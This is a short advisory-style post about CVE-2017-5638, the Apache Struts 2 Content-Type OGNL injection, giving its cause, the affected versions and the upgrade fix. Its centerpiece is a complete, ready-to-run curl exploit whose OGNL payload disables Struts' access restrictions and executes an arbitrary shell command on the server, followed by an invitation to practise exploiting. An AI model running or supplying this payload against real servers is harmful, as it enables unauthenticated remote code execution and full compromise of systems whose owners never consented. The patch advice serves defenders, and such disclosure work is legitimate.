Listen to this Post
The CVE-2017-5638 vulnerability in Apache Struts 2 stems from flawed error handling within the Jakarta Multipart parser. When a malicious Content-Type header is sent in an HTTP request to a Struts 2 endpoint, the framework attempts to process it to generate an error message. The vulnerability is triggered because the attacker-supplied data in the Content-Type header is improperly evaluated as an Object-Graph Navigation Language (OGNL) expression during this error-handling routine. OGNL is a powerful expression language that allows for method execution and access to the underlying Java runtime. Consequently, an unauthenticated attacker can craft a request with a malicious OGNL expression in the Content-Type header, which the server executes with full application control, leading to arbitrary remote code execution on the vulnerable server.
Platform: Apache Struts 2
Version: 2.3.5 – 2.3.31, 2.5 – 2.5.10
Vulnerability : Remote Code Execution
Severity: Critical
date: 2017-03-07
Prediction: Patch available (2017-03-07)
What Undercode Say:
`curl -H “Content-Type: %{(_=’multipart/form-data’).([email protected]@DEFAULT_MEMBER_ACCESS).(_memberAccess?(_memberAccess=dm):((container=context[‘com.opensymphony.xwork2.ActionContext.container’]).(ognlUtil=container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(ognlUtil.getExcludedPackageNames().clear()).(ognlUtil.getExcludedClasses().clear()).(context.setMemberAccess(dm)))).(cmd=’whoami’).(iswin=(@java.lang.System@getProperty(‘os.name’).toLowerCase().contains(‘win’))).(cmds=(iswin?{‘cmd.exe’,’/c’,cmd}:{‘/bin/bash’,’-c’,cmd})).(p=new java.lang.ProcessBuilder(cmds)).(p.redirectErrorStream(true)).(process=p.start()).(ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(process.getInputStream(),ros)).(ros.flush())}” http://vulnerable-server.com/struts2-endpoint`
How Exploit:
Craft HTTP request with malicious OGNL in Content-Type header.
Protection from this CVE
Upgrade to Struts 2.3.32 or 2.5.10.1.
Impact:
Full system compromise.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
